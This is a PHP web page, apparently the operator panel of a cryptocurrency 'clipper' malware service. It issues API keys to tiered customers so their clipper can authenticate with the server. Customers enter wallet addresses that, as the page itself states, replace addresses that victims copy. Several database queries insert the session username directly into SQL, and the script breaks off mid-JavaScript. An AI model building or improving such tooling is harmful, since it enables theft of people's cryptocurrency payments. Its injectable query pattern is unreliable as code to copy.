<?php
include("header.php");

// Check if user is premium or VIP
$check_tier = mysqli_query($condb, "SELECT license_tier FROM users WHERE username = '".$_SESSION['username']."'");
$user_tier = mysqli_fetch_assoc($check_tier);

if ($user_tier['license_tier'] !== 'premium' && $user_tier['license_tier'] !== 'vip') {
    header("Location: index.php");
    exit('Access Denied: Premium features only');
}

// Generate API key if it doesn't exist
$api_key_query = mysqli_query($condb, "SELECT api_key FROM users WHERE username = '".$_SESSION['username']."'");
$api_key_data = mysqli_fetch_assoc($api_key_query);

if (empty($api_key_data['api_key'])) {
    // Generate a new API key
    $api_key = bin2hex(random_bytes(32)); // 64 character hex string
    mysqli_query($condb, "UPDATE users SET api_key = '".$api_key."' WHERE username = '".$_SESSION['username']."'");
} else {
    $api_key = $api_key_data['api_key'];
}

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action'])) {
        switch ($_POST['action']) {
            case 'update_address':
                // Check if required parameters exist
                if (!isset($_POST['coin'])) {
                    echo '<div class="cyber-notification error"><i class="fas fa-exclamation-circle"></i> Missing required parameters.</div>';
                    break;
                }
                
                $coin = mysqli_real_escape_string($condb, $_POST['coin']);
                $address = isset($_POST['address']) ? mysqli_real_escape_string($condb, $_POST['address']) : '';
                
                // Check if address exists for this user and coin
                $check = mysqli_query($condb, "SELECT id FROM crypto_addresses WHERE username = '".$_SESSION['username']."' AND coin = '".$coin."'");
                
                if (empty($address)) {
                    // If address is empty, delete the existing address
                    if (mysqli_num_rows($check) > 0) {
                        $delete = $condb->prepare("DELETE FROM crypto_addresses WHERE username = ? AND coin = ?");
                        $delete->bind_param("ss", $_SESSION['username'], $coin);
                        
                        if ($delete->execute()) {
                            echo '<div class="cyber-notification success"><i class="fas fa-check-circle"></i> Address removed successfully!</div>';
                        } else {
                            echo '<div class="cyber-notification error"><i class="fas fa-exclamation-circle"></i> Error removing address.</div>';
                        }
                    }
                } else {
                    if (mysqli_num_rows($check) > 0) {
                        // Update existing address
                        $update = $condb->prepare("UPDATE crypto_addresses SET address = ? WHERE username = ? AND coin = ?");
                        $update->bind_param("sss", $address, $_SESSION['username'], $coin);
                        
                        if ($update->execute()) {
                            echo '<div class="cyber-notification success"><i class="fas fa-check-circle"></i> Address updated successfully!</div>';
                        } else {
                            echo '<div class="cyber-notification error"><i class="fas fa-exclamation-circle"></i> Error updating address.</div>';
                        }
                    } else {
                        // Insert new address
                        $insert = $condb->prepare("INSERT INTO crypto_addresses (username, coin, address) VALUES (?, ?, ?)");
                        $insert->bind_param("sss", $_SESSION['username'], $coin, $address);
                        
                        if ($insert->execute()) {
                            echo '<div class="cyber-notification success"><i class="fas fa-check-circle"></i> Address added successfully!</div>';
                        } else {
                            echo '<div class="cyber-notification error"><i class="fas fa-exclamation-circle"></i> Error adding address.</div>';
                        }
                    }
                }
                break;
        }
    }
}

// Create table if it doesn't exist
$create_table = "CREATE TABLE IF NOT EXISTS crypto_addresses (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL,
    coin VARCHAR(50) NOT NULL,
    address VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY unique_user_coin (username, coin)
)";
mysqli_query($condb, $create_table);

// Define supported cryptocurrencies with SVG icons
$cryptocurrencies = [
    'BTC' => [
        'name' => 'Bitcoin',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#f7931a" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'ETH' => [
        'name' => 'Ethereum',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#627eea" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'USDT' => [
        'name' => 'Tether',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#26a17b" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'BNB' => [
        'name' => 'Binance Coin',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#f3ba2f" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'XRP' => [
        'name' => 'Ripple',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#23292f" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'ADA' => [
        'name' => 'Cardano',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#0033ad" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'SOL' => [
        'name' => 'Solana',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#00ffa3" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'DOT' => [
        'name' => 'Polkadot',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#e6007a" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'DOGE' => [
        'name' => 'Dogecoin',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#c3a634" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'SHIB' => [
        'name' => 'Shiba Inu',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#ff6b00" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ],
    'LTC' => [
        'name' => 'Litecoin',
        'icon' => '<svg viewBox="0 0 24 24" class="crypto-icon"><path fill="#345d9d" d="M12 24c6.627 0 12-5.373 12-12S18.627 0 12 0 0 5.373 0 12s5.373 12 12 12zm-.75-17.25h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5zm-3.75-7.5h1.5v-1.5H7.5v1.5zm0 7.5h1.5v-1.5H7.5v1.5zm7.5-7.5h1.5v-1.5H15v1.5zm0 7.5h1.5v-1.5H15v1.5zm-3.75-7.5h1.5v-1.5h-1.5v1.5zm0 7.5h1.5v-1.5h-1.5v1.5z"/></svg>'
    ]
];
?>

<div class="container-fluid">
    <div class="row">
        <div class="col-md-12">
            <div class="cyber-panel">
                <div class="cyber-panel-header">
                    <div class="cyber-title">
                        <i class="fas fa-coins cyber-icon"></i>
                        <h3>Crypto Clipper Settings</h3>
                        <div class="cyber-title-decoration"></div>
                    </div>
                </div>
                <div class="api-key-section">
                    <div class="cyber-alert">
                        <i class="fas fa-key"></i>
                        <span>Your API Key for the Crypto Clipper</span>
                    </div>
                    <div class="api-key-container">
                        <div class="api-key-display">
                            <input type="text" id="apiKey" value="<?php echo $api_key; ?>" readonly>
                            <button type="button" class="copy-btn" onclick="copyApiKey()">
                                <i class="fas fa-copy"></i>
                            </button>
                        </div>
                        <div class="api-key-info">
                            <i class="fas fa-info-circle"></i>
                            <span>Keep this API key secure. It's used to authenticate your clipper with the server and manage your cryptocurrency addresses.</span>
                        </div>
                    </div>
                </div>
                <div class="cyber-panel-body">
                    <div class="cyber-alert">
                        <i class="fas fa-info-circle"></i>
                        <span>Configure your cryptocurrency addresses for the clipper. When users copy crypto addresses, they will be replaced with your addresses.</span>
                    </div>

                    <!-- Address Configuration Form -->
                    <div class="cyber-form">
                        <div class="section-header">
                            <div class="header-icon">
                                <i class="fas fa-wallet"></i>
                            </div>
                            <div class="header-content">
                                <h4>Configure Addresses</h4>
                                <p class="header-description">Set your cryptocurrency addresses for the clipper</p>
                            </div>
                        </div>

                        <form method="POST" action="">
                            <input type="hidden" name="action" value="update_address">
                            
                            <div class="addresses-grid">
                                <?php
                                // Get existing addresses
                                $addresses_query = mysqli_query($condb, "SELECT coin, address FROM crypto_addresses WHERE username = '".$_SESSION['username']."'");
                                $existing_addresses = [];
                                while ($row = mysqli_fetch_assoc($addresses_query)) {
                                    $existing_addresses[$row['coin']] = $row['address'];
                                }
                                
                                foreach ($cryptocurrencies as $symbol => $coin) {
                                    $current_address = isset($existing_addresses[$symbol]) ? $existing_addresses[$symbol] : '';
                                    ?>
                                    <div class="crypto-card">
                                        <div class="card-header">
                                            <div class="coin-info">
                                                <?php echo $coin['icon']; ?>
                                                <div class="coin-details">
                                                    <span class="coin-symbol"><?php echo $symbol; ?></span>
                                                    <span class="coin-name"><?php echo $coin['name']; ?></span>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="card-body">
                                            <form method="POST" action="" class="address-form">
                                                <input type="hidden" name="action" value="update_address">
                                                <input type="hidden" name="coin" value="<?php echo $symbol; ?>">
                                                <div class="address-input-container">
                                                    <div class="input-group">
                                                        <input type="text" 
                                                               name="address" 
                                                               class="form-control address-input" 
                                                               placeholder="Enter your <?php echo $coin['name']; ?> address" 
                                                               value="<?php echo $current_address; ?>">
                                                        <?php if ($current_address): ?>
                                                            <button type="button" class="clear-btn" data-symbol="<?php echo $symbol; ?>">
                                                                <i class="fas fa-times"></i>
                                                            </button>
                                                        <?php endif; ?>
                                                    </div>
                                                    <div class="input-hint">
                                                        <i class="fas fa-info-circle"></i>
                                                        <span>Paste your <?php echo $coin['name']; ?> address here or leave empty to remove</span>
                                                    </div>
                                                    <div class="form-actions">
                                                        <button type="submit" class="save-btn">
                                                            <i class="fas fa-save"></i>
                                                            Save
                                                        </button>
                                                    </div>
                                                </div>
                                            </form>
                                        </div>
                                    </div>
                                <?php } ?>
                            </div>
                        </form>
                    </div>

                    <!-- Current Addresses Section -->
                    <div class="cyber-table-container">
                        <div class="section-header">
                            <div class="header-icon">
                                <i class="fas fa-list"></i>
                            </div>
                            <div class="header-content">
                                <h4>Current Addresses</h4>
                                <p class="header-description">Manage your cryptocurrency addresses</p>
                            </div>
                        </div>

                        <div class="addresses-grid">
                            <?php
                            foreach ($cryptocurrencies as $symbol => $coin) {
                                $address = isset($existing_addresses[$symbol]) ? $existing_addresses[$symbol] : '';
                                $status = !empty($address) ? 'active' : 'inactive';
                                ?>
                                <div class="crypto-card">
                                    <div class="card-header">
                                        <div class="coin-info">
                                            <?php echo $coin['icon']; ?>
                                            <div class="coin-details">
                                                <span class="coin-symbol"><?php echo $symbol; ?></span>
                                                <span class="coin-name"><?php echo $coin['name']; ?></span>
                                            </div>
                                        </div>
                                        <div class="status-indicator status-<?php echo $status; ?>">
                                            <span class="status-dot"></span>
                                            <?php echo ucfirst($status); ?>
                                        </div>
                                    </div>
                                    <div class="card-body">
                                        <?php if ($address): ?>
                                            <div class="address-container">
                                                <div class="address-label">Address</div>
                                                <div class="address-value">
                                                    <span class="address-mask"><?php echo substr($address, 0, 10).'...'.substr($address, -10); ?></span>
                                                    <button class="copy-btn" data-address="<?php echo $address; ?>">
                                                        <i class="fas fa-copy"></i>
                                                    </button>
                                                </div>
                                            </div>
                                        <?php else: ?>
                                            <div class="no-address">
                                                <i class="fas fa-exclamation-circle"></i>
                                                <span>No address set</span>
                                            </div>
                                        <?php endif; ?>
                                    </div>
                                </div>
                            <?php } ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<style>
.cyber-form {
    background: rgba(19, 19, 31, 0.85);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 15px;
    padding: 20px;
    margin-bottom: 30px;
    box-shadow: 0 0 20px rgba(0, 255, 255, 0.1);
}

.cyber-table-container {
    background: rgba(19, 19, 31, 0.85);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 15px;
    padding: 20px;
    box-shadow: 0 0 20px rgba(0, 255, 255, 0.1);
}

.cyber-form h4, .cyber-table-container h4 {
    color: #00f3ff;
    font-family: 'Orbitron', sans-serif;
    margin-bottom: 20px;
    display: flex;
    align-items: center;
    gap: 10px;
    text-transform: uppercase;
    letter-spacing: 1px;
}

.cyber-form h4 i, .cyber-table-container h4 i {
    color: #00f3ff;
}

.form-control {
    background: rgba(0, 0, 0, 0.2);
    border: 1px solid rgba(0, 255, 255, 0.2);
    color: #ffffff;
    border-radius: 8px;
    padding: 12px 15px;
    transition: all 0.3s ease;
}

.form-control:focus {
    border-color: #00f3ff;
    box-shadow: 0 0 15px rgba(0, 243, 255, 0.3);
    outline: none;
    background: rgba(0, 0, 0, 0.3);
}

.table {
    color: #ffffff;
    background: transparent;
}

.table thead th {
    background: rgba(0, 0, 0, 0.3);
    color: #00f3ff;
    border-bottom: 2px solid rgba(0, 255, 255, 0.2);
    text-transform: uppercase;
    font-size: 12px;
    letter-spacing: 1px;
}

.table tbody tr {
    background: rgba(0, 0, 0, 0.2);
    transition: all 0.3s ease;
}

.table tbody tr:hover {
    background: rgba(0, 255, 255, 0.05);
    transform: translateX(5px);
}

.table tbody td {
    padding: 15px;
    border-color: rgba(0, 255, 255, 0.1);
}

.label {
    padding: 6px 12px;
    border-radius: 4px;
    font-size: 11px;
    font-weight: 500;
    text-transform: uppercase;
    letter-spacing: 0.5px;
}

.label-success {
    background: rgba(0, 255, 128, 0.15);
    color: #00ff80;
    border: 1px solid rgba(0, 255, 128, 0.3);
}

.label-warning {
    background: rgba(255, 165, 0, 0.15);
    color: #ffa500;
    border: 1px solid rgba(255, 165, 0, 0.3);
}

.cyber-panel {
    background: rgba(19, 19, 31, 0.95);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 15px;
    box-shadow: 0 0 30px rgba(0, 255, 255, 0.1);
}

.cyber-panel-header {
    background: rgba(0, 0, 0, 0.3);
    border-bottom: 1px solid rgba(0, 255, 255, 0.2);
    padding: 20px;
    border-radius: 15px 15px 0 0;
}

.cyber-title {
    display: flex;
    align-items: center;
    gap: 15px;
}

.cyber-title h3 {
    color: #00f3ff;
    font-family: 'Orbitron', sans-serif;
    margin: 0;
    text-transform: uppercase;
    letter-spacing: 1px;
}

.cyber-icon {
    color: #00f3ff;
    font-size: 24px;
}

.cyber-title-decoration {
    flex-grow: 1;
    height: 2px;
    background: linear-gradient(90deg, rgba(0, 243, 255, 0.2), rgba(0, 243, 255, 0));
}

.cyber-panel-body {
    padding: 20px;
}

.cyber-alert {
    background: rgba(0, 0, 0, 0.3);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 8px;
    padding: 15px;
    margin-bottom: 20px;
    display: flex;
    align-items: center;
    gap: 10px;
}

.cyber-alert i {
    color: #00f3ff;
    font-size: 18px;
}

.cyber-alert span {
    color: #ffffff;
    font-size: 14px;
}

.btn-primary {
    background: linear-gradient(45deg, #00f3ff, #0066ff);
    border: none;
    padding: 12px 25px;
    border-radius: 8px;
    color: #ffffff;
    font-weight: 500;
    text-transform: uppercase;
    letter-spacing: 1px;
    transition: all 0.3s ease;
}

.btn-primary:hover {
    transform: translateY(-2px);
    box-shadow: 0 0 20px rgba(0, 243, 255, 0.4);
    background: linear-gradient(45deg, #00f3ff, #0066ff);
}

.fab {
    display: none;
}

.form-group {
    margin-bottom: 20px;
}

.form-group label {
    display: flex;
    align-items: center;
    color: #00f3ff;
    font-family: 'Orbitron', sans-serif;
    font-size: 14px;
    margin-bottom: 8px;
    text-transform: uppercase;
    letter-spacing: 0.5px;
}

.form-group label i {
    margin-right: 8px;
}

/* Crypto icon styles */
.crypto-icon {
    width: 20px;
    height: 20px;
    display: inline-block;
    vertical-align: middle;
    margin-right: 8px;
    filter: drop-shadow(0 0 5px rgba(0, 243, 255, 0.3));
}

.table td {
    display: flex;
    align-items: center;
}

/* Enhanced Table Styles */
.table-responsive {
    border-radius: 10px;
    overflow: hidden;
}

.table {
    margin-bottom: 0;
    border-collapse: separate;
    border-spacing: 0;
}

.table thead th {
    background: rgba(0, 0, 0, 0.4);
    color: #00f3ff;
    border: none;
    padding: 15px;
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 1px;
    font-weight: 600;
    position: relative;
}

.table thead th:after {
    content: '';
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    height: 1px;
    background: linear-gradient(90deg, rgba(0, 243, 255, 0.2), rgba(0, 243, 255, 0));
}

.crypto-row {
    background: rgba(0, 0, 0, 0.2);
    transition: all 0.3s ease;
    border-bottom: 1px solid rgba(0, 255, 255, 0.05);
}

.crypto-row:hover {
    background: rgba(0, 255, 255, 0.05);
    transform: translateX(5px);
}

.crypto-row td {
    padding: 15px;
    vertical-align: middle;
    border: none;
}

/* Column-specific styles */
.coin-col { width: 15%; }
.name-col { width: 25%; }
.address-col { width: 45%; }
.status-col { width: 15%; }

.coin-cell {
    display: flex;
    align-items: center;
    gap: 10px;
}

.coin-symbol {
    font-weight: 600;
    color: #00f3ff;
    font-family: 'Orbitron', sans-serif;
}

.name-cell {
    color: #ffffff;
    font-weight: 500;
}

.address-cell {
    font-family: 'Consolas', monospace;
}

.address-mask {
    color: #ffffff;
    background: rgba(0, 0, 0, 0.2);
    padding: 5px 10px;
    border-radius: 4px;
    border: 1px solid rgba(0, 255, 255, 0.1);
}

.not-set {
    color: #ff6b6b;
    font-style: italic;
}

.status-badge {
    display: inline-block;
    padding: 6px 12px;
    border-radius: 20px;
    font-size: 11px;
    font-weight: 600;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    text-align: center;
    min-width: 80px;
}

.status-active {
    background: rgba(0, 255, 128, 0.15);
    color: #00ff80;
    border: 1px solid rgba(0, 255, 128, 0.3);
}

.status-inactive {
    background: rgba(255, 165, 0, 0.15);
    color: #ffa500;
    border: 1px solid rgba(255, 165, 0, 0.3);
}

/* Responsive adjustments */
@media (max-width: 768px) {
    .table-responsive {
        margin: 0 -20px;
        border-radius: 0;
    }
    
    .table thead th,
    .table tbody td {
        padding: 10px;
    }
    
    .address-mask {
        font-size: 12px;
    }
    
    .status-badge {
        padding: 4px 8px;
        min-width: 60px;
        font-size: 10px;
    }
}

/* Section Header Styles */
.section-header {
    display: flex;
    align-items: center;
    gap: 15px;
    margin-bottom: 25px;
    padding-bottom: 15px;
    border-bottom: 1px solid rgba(0, 255, 255, 0.1);
}

.header-icon {
    width: 40px;
    height: 40px;
    background: rgba(0, 255, 255, 0.1);
    border-radius: 10px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.header-icon i {
    font-size: 20px;
    color: #00f3ff;
}

.header-content h4 {
    color: #00f3ff;
    margin: 0;
    font-family: 'Orbitron', sans-serif;
    font-size: 18px;
    text-transform: uppercase;
    letter-spacing: 1px;
}

.header-description {
    color: #ffffff;
    margin: 5px 0 0;
    font-size: 14px;
    opacity: 0.7;
}

/* Grid Layout */
.addresses-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
    gap: 20px;
    padding: 10px 0;
}

/* Card Styles */
.crypto-card {
    background: rgba(0, 0, 0, 0.2);
    border: 1px solid rgba(0, 255, 255, 0.1);
    border-radius: 12px;
    overflow: hidden;
    transition: all 0.3s ease;
}

.crypto-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 5px 15px rgba(0, 255, 255, 0.1);
    border-color: rgba(0, 255, 255, 0.2);
}

.card-header {
    padding: 15px;
    background: rgba(0, 0, 0, 0.3);
    border-bottom: 1px solid rgba(0, 255, 255, 0.1);
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.coin-info {
    display: flex;
    align-items: center;
    gap: 12px;
}

.coin-details {
    display: flex;
    flex-direction: column;
}

.coin-symbol {
    color: #00f3ff;
    font-family: 'Orbitron', sans-serif;
    font-weight: 600;
    font-size: 16px;
}

.coin-name {
    color: #ffffff;
    font-size: 12px;
    opacity: 0.7;
}

.status-indicator {
    display: flex;
    align-items: center;
    gap: 6px;
    padding: 6px 12px;
    border-radius: 20px;
    font-size: 12px;
    font-weight: 500;
}

.status-dot {
    width: 8px;
    height: 8px;
    border-radius: 50%;
}

.status-active {
    background: rgba(0, 255, 128, 0.1);
    color: #00ff80;
}

.status-active .status-dot {
    background: #00ff80;
    box-shadow: 0 0 10px rgba(0, 255, 128, 0.5);
}

.status-inactive {
    background: rgba(255, 165, 0, 0.1);
    color: #ffa500;
}

.status-inactive .status-dot {
    background: #ffa500;
    box-shadow: 0 0 10px rgba(255, 165, 0, 0.5);
}

.card-body {
    padding: 15px;
}

.address-container {
    background: rgba(0, 0, 0, 0.2);
    border-radius: 8px;
    padding: 12px;
}

.address-label {
    color: #00f3ff;
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    margin-bottom: 8px;
}

.address-value {
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 10px;
}

.address-mask {
    font-family: 'Consolas', monospace;
    color: #ffffff;
    font-size: 14px;
    background: rgba(0, 0, 0, 0.3);
    padding: 6px 10px;
    border-radius: 4px;
    flex-grow: 1;
}

.copy-btn {
    background: rgba(0, 255, 255, 0.1);
    border: 1px solid rgba(0, 255, 255, 0.2);
    color: #00f3ff;
    border-radius: 6px;
    padding: 6px 10px;
    cursor: pointer;
    transition: all 0.3s ease;
}

.copy-btn:hover {
    background: rgba(0, 255, 255, 0.2);
    transform: translateY(-2px);
}

.no-address {
    display: flex;
    align-items: center;
    gap: 10px;
    color: #ff6b6b;
    font-size: 14px;
    padding: 15px;
    background: rgba(255, 107, 107, 0.1);
    border-radius: 8px;
}

.no-address i {
    font-size: 16px;
}

/* Responsive Adjustments */
@media (max-width: 768px) {
    .addresses-grid {
        grid-template-columns: 1fr;
    }
    
    .crypto-card {
        margin: 0 -20px;
        border-radius: 0;
    }
    
    .card-header {
        padding: 12px;
    }
    
    .card-body {
        padding: 12px;
    }
}

/* Form Styles */
.cyber-form {
    background: rgba(19, 19, 31, 0.85);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 15px;
    padding: 20px;
    margin-bottom: 30px;
    box-shadow: 0 0 20px rgba(0, 255, 255, 0.1);
}

.address-input-container {
    background: rgba(0, 0, 0, 0.2);
    border-radius: 8px;
    padding: 12px;
}

.input-group {
    display: flex;
    gap: 10px;
    margin-bottom: 8px;
}

.address-input {
    flex-grow: 1;
    background: rgba(0, 0, 0, 0.3);
    border: 1px solid rgba(0, 255, 255, 0.2);
    color: #ffffff;
    padding: 12px 15px;
    border-radius: 6px;
    font-family: 'Consolas', monospace;
    font-size: 14px;
    transition: all 0.3s ease;
}

.address-input:focus {
    border-color: #00f3ff;
    box-shadow: 0 0 15px rgba(0, 243, 255, 0.2);
    outline: none;
}

.clear-btn {
    background: rgba(255, 107, 107, 0.1);
    border: 1px solid rgba(255, 107, 107, 0.2);
    color: #ff6b6b;
    border-radius: 6px;
    padding: 0 15px;
    cursor: pointer;
    transition: all 0.3s ease;
}

.clear-btn:hover {
    background: rgba(255, 107, 107, 0.2);
    transform: translateY(-2px);
}

.input-hint {
    display: flex;
    align-items: center;
    gap: 8px;
    color: #00f3ff;
    font-size: 12px;
    opacity: 0.7;
}

.input-hint i {
    font-size: 14px;
}

.form-actions {
    margin-top: 30px;
    display: flex;
    justify-content: flex-end;
}

.save-btn {
    background: linear-gradient(45deg, #00f3ff, #0066ff);
    border: none;
    padding: 12px 25px;
    border-radius: 8px;
    color: #ffffff;
    font-weight: 500;
    text-transform: uppercase;
    letter-spacing: 1px;
    display: flex;
    align-items: center;
    gap: 10px;
    cursor: pointer;
    transition: all 0.3s ease;
}

.save-btn:hover {
    transform: translateY(-2px);
    box-shadow: 0 0 20px rgba(0, 243, 255, 0.4);
}

.save-btn i {
    font-size: 16px;
}

/* Responsive adjustments for form */
@media (max-width: 768px) {
    .cyber-form {
        margin: 0 -20px;
        border-radius: 0;
    }
    
    .form-actions {
        margin-top: 20px;
    }
    
    .save-btn {
        width: 100%;
        justify-content: center;
    }
}

/* Update the form section */
.address-form {
    margin: 0;
    padding: 0;
}

.form-actions {
    margin-top: 15px;
    display: flex;
    justify-content: flex-end;
}

.save-btn {
    background: linear-gradient(45deg, #00f3ff, #0066ff);
    border: none;
    padding: 8px 15px;
    border-radius: 6px;
    color: #ffffff;
    font-weight: 500;
    text-transform: uppercase;
    letter-spacing: 1px;
    display: flex;
    align-items: center;
    gap: 8px;
    cursor: pointer;
    transition: all 0.3s ease;
    font-size: 12px;
}

.save-btn:hover {
    transform: translateY(-2px);
    box-shadow: 0 0 15px rgba(0, 243, 255, 0.3);
}

.save-btn i {
    font-size: 14px;
}

/* Add these styles to your existing CSS */
.api-key-section {
    background: rgba(0, 0, 0, 0.3);
    border: 1px solid rgba(0, 255, 255, 0.2);
    border-radius: 8px;
    padding: 20px;
    margin: 20px;
}

.api-key-container {
    margin-top: 15px;
}

.api-key-display {
    display: flex;
    gap: 10px;
    align-items: center;
}

.api-key-display input {
    flex-grow: 1;
    background: rgba(0, 0, 0, 0.2);
    border: 1px solid rgba(0, 255, 255, 0.2);
    color: #00f3ff;
    padding: 12px 15px;
    border-radius: 6px;
    font-family: 'Consolas', monospace;
    font-size: 14px;
    letter-spacing: 1px;
}

.api-key-info {
    display: flex;
    align-items: center;
    gap: 8px;
    color: #00f3ff;
    font-size: 12px;
    margin-top: 10px;
    opacity: 0.7;
}

.api-key-info i {
    font-size: 14px;
}
</style>

<script>
document.addEventListener('DOMContentLoaded', function() {
    // Clear button functionality
    const clearButtons = document.querySelectorAll('.clear-btn');
    clearButtons.forEach(button => {
        button.addEventListener('click', function() {
            const form = this.closest('.address-form');
            const input = form.querySelector('input[name="address"]');
            input.value = '';
            this.remove();
            form.submit();
        });
    });

    // Form submission handling
    const forms = document.querySelectorAll('.address-form');
